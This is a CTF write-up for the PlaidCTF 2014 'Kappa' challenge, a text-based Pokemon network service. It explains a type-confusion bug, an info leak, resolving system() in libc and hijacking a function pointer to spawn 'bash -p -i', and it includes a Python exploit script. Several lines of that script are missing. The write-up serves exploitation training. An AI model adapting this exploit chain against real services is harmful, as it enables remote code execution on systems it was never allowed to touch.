PlaidCTF 2014 – Kappa [275]

For PlaidCTF2014, Eindbazen and fail0verflow joined forces as 0xffa, the Final Fail Alliance. Don’t miss out on other write-ups at fail0verflow’s site!

Kappa is a network service that is a very basic text-based pokemon game. In the end we found multiple bugs in the service, but the one we used was so cleanly exploitable that we think this was probably the intended solution.

When you connect, you get this menu:

Thank you for helping test CTF plays Pokemon! Keep in mind that this
is currently in alpha which means that we will only support one person
playing at a time. You will be provided with several options once the
game begins, as well as several hidden options for those true CTF 
Plays Pokemon fans ;). We hope to expand this in the coming months to
include even more features!  Enjoy! : )

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

By walking into the grass you have to wait three seconds and then encounter nothing, or a kakuna, or a charizard.

You walk into the tall grass!
A wild Kakuna appears!
Choose an Option:
1. Attack
2. Throw Pokeball
3. Run

Kakuna’s can be caught immediately by throwing a pokeball, but you have to attack charizard a couple of times with your starting pokemon (a pidgey named “Bird Jesus”) before you can catch it.

I wanted to play around with the service a bit, but the sleep calls were really annoying. So I removed those using a LD_PRELOAD shim that overrides the sleep() call to just return without sleeping. You could also just have patched out those calls, whatever is convenient.

$ echo "int sleep(int n) { return 0; }" > no_sleep.c
$ gcc -shared -ldl -fPIC no_sleep.c -o til_brooklyn.so
$ LD_PRELOAD=./til_brooklyn.so ./kappa

One thing that is immediately suspicious is option 5 (“Change pokemon artwork”). However, this does not seem to cause an obvious overflow of any kind. Running the binary in strace did show the interesting detail that the read() call that reads the artwork reads a different amount of data for every pokemon type, and if you send artwork which contains a null byte it will read less data the next time you change the artwork for that pokemon. This lead me to conclude that the artwork is nul-terminated, and you cannot send artwork that is longer than the current artwork.

Reverse engineering

At this point I started to reverse engineer the program to see how it worked. One interesting and strange detail is that every pokemon type is stored in memory in a different way. Each pokemon has a name and artwork in the same place, but they also all have an “attack” pointer (a pointer to a pointer to an attack name) and an “inspect” pointer (a pointer to a function that prints details about the pokemon). There is an array of size 5 that contains pointers to your pokemon, and another array of the same size that contains a number indicating which type of pokemon this is. This pokemon type number determines where the program will look for the “attack” and “inspect” pointers in the pokemon allocation.

In case you’re interested in the details:

  • The function at 0x80491f6 allocates “Bird Jesus”, your starting pokemon.
  • The function at 0x8048c59 is used by the “walk into the tall grass” function. It allocates and initializes either a Kakuna or Charizard, or nothing at all.
  • The functions at 0x80486f0, 0x8048766, and 0x80487dc are the “inspect pokemon” callbacks for each pokemon type. They show essentially the same information, but because each pokemon has these fields at different offsets they work slightly differently.
  • The function at 0x8048fbc iterates over the list of pokemon, gets the “inspect pokemon” function pointer for each pokemon from a different position depending on the pokemon type, and invokes this callback function.

Finding the bug

After writing some python to automate interacting with the service someone noticed that if you fill up all your pokemon slots and then free one, the pokemon in the final slot will now appear in the final two slots. If you release one of these slots this would free the memory while it is still being a referred to by the other slot, a classic use-after-free. If you could then get another type of pokemon allocated in that slot then you would have a type confusion bug, where the program would look for the attack and inspect pointers at the wrong place (and probably end up looking for them in the pokemon artwork, since that’s the largest part of each pokemon’s allocation).

This seemed like a good plan of attack, but while writing the exploit I spotted an even more blatant bug. If you catch another pokemon while you already have 5 pokemon in your inventory, it will ask you to choose a pokemon to replace. It will then free that pokemon and replace the array slot with a pointer to the new pokemon, but it will forget to update the pokemon type array! So if the new pokemon is a different type from the old one, you have a trivial type confusion problem.

I tested this by telling my script to first fill the inventory with kakuna’s and then replace one of them with a charizard, and then to show the inventory of pokemon. This immediately crashes, and inspection in GDB shows that it is dereferencing a pointer in charizard’s artwork. Re-running the test and replacing charizard’s artwork with a zillion A’s confirmed that this gave control over EIP.


Normally this would now be easy, but it gets a bit more complicated for two reasons. The first is that the binary does not import very many interesting functions or contain many interesting ROP gadgets, the second is that we do not know which libc is being used so we cannot use gadgets from libc (also libc will be loaded in a different place in memory on each connection, because of aslr).

So what we need is a way to leak memory from the program without crashing it, use this leak to determine the location of some interesting gadget in libc, and then use our EIP control to jump to this gadget.

For the memory leak we used the other pointer that we are overwriting: the attack pointer. Recall that this is a pointer-to-a-pointer-to-a-string, and that this string is sent to the client when the pokemon inventory is shown. The plan is to set this pointer to somewhere in a pokemon’s artwork and keep the inspect function pointer set to its initial value, so that when the information about the pokemon is shown, instead of printing the attack name it will leak memory from a fully controllable address up to the next nul byte.

For this to work you first have to know where some pokemon’s artwork is located in memory, which is not always the same since pokemon are allocated on the (randomized) heap. So what we want to leak is a pointer to a pokemon object. These pointers are stored in the pokemon array, which is at a fixed location in the program’s bss segment. So what we need is a known address that contains a pointer to this array. If we set the pokemon’s attack pointer to this address, it will leak the pokemon pointers which we can use to construct a fully controlled memory leak. Now the good thing is that there are a number of such pointers in the program: the encoding of each instruction that refers to the pokemon array contains a pointer to this array!

0804897e C70424A1960408  mov  dword [ss:esp], 0x80496a1 
08048985 E896FBFFFF      call __plt__printf  
0804898a A1ACBF0408      mov  eax, dword [ds:0x804bfac]
           ^^^^^^^^ address 0x804bfac, the pokemon list!
0804898f 8945F4          mov  dword [ss:ebp-0x58+var_76], eax
08048992 8B45F4          mov  eax, dword [ss:ebp-0x58+var_76]
08048995 8B80EC050000    mov  eax, dword [ds:eax+0x5ec]
0804899b 85C0            test eax, eax

So to construct the infoleak I first leak the contents of the pokemon array. Now the addresses of all the pokemon objects are known, so we set the attack pointer of a pokemon to point into the artwork for another pokemon. By changing the artwork for that pokemon we can then control the address that memory is leaked from every time we inspect our pokemon, and we have a fully controllable read that we can safely call in a loop without crashing the program.

I plugged this arbitrary read function into a library that allows to resolve arbitrary symbols given a leak function, and used that to get the address of system(). Since each pokemon object starts with the pokemon name, and the inspect function gets a pointer to the pokemon as its only argument, by replacing the inspect function with system() the program will call system(“our_pokemon_name”) when we inspect our list of pokemon. So we name our pokemon something like “/bin/sh”, and get an interactive shell!

After that it’s just a matter of cat’ing the right file, and we have the flag.

import socket
import time
import struct
import leaklib 

def pack(*args): return struct.pack("I" * len(args), *args)
def unpack(data): return struct.unpack("I" * (len(data) / 4), data)

def recvuntil(t):
	data = ''
	while not data.endswith(t):
		tmp = s.recv(1)
		if not tmp: break
		data += tmp
	print repr(data)
	return data

s = socket.create_connection(('',1313))

# catch some pokemon. we start with pidgey, and catch four kakuna's. the
# first kakuna is then replaced with a charizard, without updating the 
# pokemon's type code. this means we now have a pokemon that is treated 
# like a kakuna, but all the interesting fields are actually covered by
# the charizard artwork (which we can overwrite).
pokeys = 0
while True:
	# wait for prompt

	# go into the tall grass

	# get the result of our trip
	l = recvuntil("\n")

	if l == 'You failed to find any Pokemon!\n':

	elif l.startswith('A wild '):
		pokeyman = l.split()[2]

		if (pokeys == 4 and pokeyman == 'Charizard') \
			or (pokeys < 4 and pokeyman == 'Kakuna'):

			# catch it
			while True:
				recvuntil("Choose an Option:\n")
				recvuntil("You throw a Pokeball!\n")
				l = recvuntil("\n")
				if "successfully caught" in l:

				# need to slap it around some more
				recvuntil("Choose an Option:\n")

			recvuntil("What would you like to name this Pokemon?\n")

			if pokeyman == 'Charizard':
				s.send("bash -p -i".ljust(14))

				# replace 1st kakuna with charizard
				recvuntil("5. Pokey")
				s.send(("Pokey%d" % (pokeys,)).ljust(14))
				pokeys += 1

			s.send("3\n") # Run away
	else: raise RuntimeError()

# info leak is done using the attack pointer in the pokemon.
# annoyingly, this is in fact a pointer to a pointer so first we have
# to find where our data is. so, first leak the addresses of the pokemon
# allocations. since there's pointers to that in the code this is not a 
# problem.

# original display func. we need to keep this intact to leak stuff.
kakuna_displayfunc = 0x8048766 

# address of a pointer to the pokemon list
pplist = 0x804898a+1 

# the attack primitive. we can overwrite the fields of the pokemon. 
def overwrite_pokemon_2(attackptr, displayfunc):
	recvuntil("5. Change Pokemon artwork\n")
	pad = "A" * (0x210 - 0xf - 4)
	s.send(pad + pack(attackptr, displayfunc)).ljust(2128, "C"))

overwrite_pokemon_2(pplist, kakuna_displayfunc)

recvuntil("Choose an Option:\n")
recvuntil("Attack Power: 1094795585\nAttack: ")
data = recvuntil("\nName:")[:-len("\nName:")]
while len(data) % 4: data = data[:-1]
pokeptrs = unpack(data)

print "pokemon:"
print map(hex, pokeptrs)

# now we leak data by stuffing the pointer we want to leak data from
# in pokemon #1's artwork. to make that work, set the attack pointer of
# the second pokemon to the start of pokemon #1's art.
overwrite_pokemon_2(pokeptrs[0] + 0xf + 1, kakuna_displayfunc)

# generic leak func
def leak(addr, sizehint):

	# this is just lazy since the lib can deal with it.
	# writing nulls reduces the amount of data we can write next time. 
	# buffer is large, we could just work our way downwards, but this 
	# works also.
	if "\x00" in pack(addr): return ''

	print "LEAKING", hex(addr)
	recvuntil("5. Change Pokemon artwork\n")

	# need to sleep a bit, the previous things are read through 
	# buffered stdio and the artwork is a raw read call. don't want 
	# some of the artwork to end up in stdio buffer.
	s.send(("A" + pack(addr)).ljust(2128, "C"))

	recvuntil("Choose an Option:\n")
	recvuntil("Attack Power: 1094795585\nAttack: ")
	data = recvuntil("\nName:")[:-len("\nName:")] + "\0"

	return data

# a bit inefficient to do this every time, but catching the pokemon
# takes longer anyway.
elf = leaklib.OndemandELFBinary(
libc = elf.get_libc_by_linkmap()
system = libc.resolve_symbol("system")
print "[+] system() is at %#x" % system

# overwrite the "inspect pokemon" function ptr with system. first arg 
# is the pokemon struct, which contains the pokemon name at the start. 
# this pokemon's name is a shell command.
overwrite_pokemon_2(0xdeadbeef, system)

recvuntil("Choose an Option:\n")

recvuntil("Attack: Gust\n")

# connect stdio to socket until either EOF's. use low-level calls to 
# bypass stdin buffering. also change the tty to character mode so we 
# can have line editing and tab completion.
import termios, tty, select, os
old_settings = termios.tcgetattr(0)
    c = True
    while c:
        for i in select.select([0, s.fileno()], [], [], 0)[0]:
            c = os.read(i, 1024)
            if not c: break
            os.write({0:s.fileno(),s.fileno():1}[i], c)
except KeyboardInterrupt: pass
finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

{5 Responses to “PlaidCTF 2014 – Kappa [275]”}

  1. Thank you for awesome write-up!. However, could you be more specific about the steps for obtaining the system address? I understand that we can leak memory contents(null terminated) of fully controlled address. however I don’t follow how you obtained the libc system() address. It seems that you leaked the memory contents from address 0x8048000 to get some information about linkmap and dl-resolve function stuffs… I know that reusing dl-resolve() can invoke arbitrary library function with its name. However I think it is impossible to use that trick from kappa’s situation (First of all, we can’t pass the fake ELF32REL index to dl-resolve() ). More detailed explanation would be appreciated. Thank you in advance.

    • The address 0x8048000 is just the load address of the kappa binary; leaklib could actually read it from the ELF in this case since it’s always the same. It’s given as an argument because with PIE binaries you can’t tell the load address from the binary, and anyway the filedata argument is optional (leaklib works just fine without having the actual binary, as long as you have a leak function and know the load address. providing the binary makes things a lot faster though.).

      As to how it works… our implementation does not invoke any dynamic linker code; it re-implements dynamic linker logic on the client side using only the leak function. The function names contain enough hints to figure it out, and in fact I know of two other teams that have very similar libraries.

  2. Amazing writeup! as always…

    But… by any chance, is the leaklib published anywhere? πŸ™‚ I can guess the answer, but I’d to try!

    • Nope it’s private for now. It’s not very hard to do but I put in some extra effort to make it nice, so don’t want to publish it for everyone to use.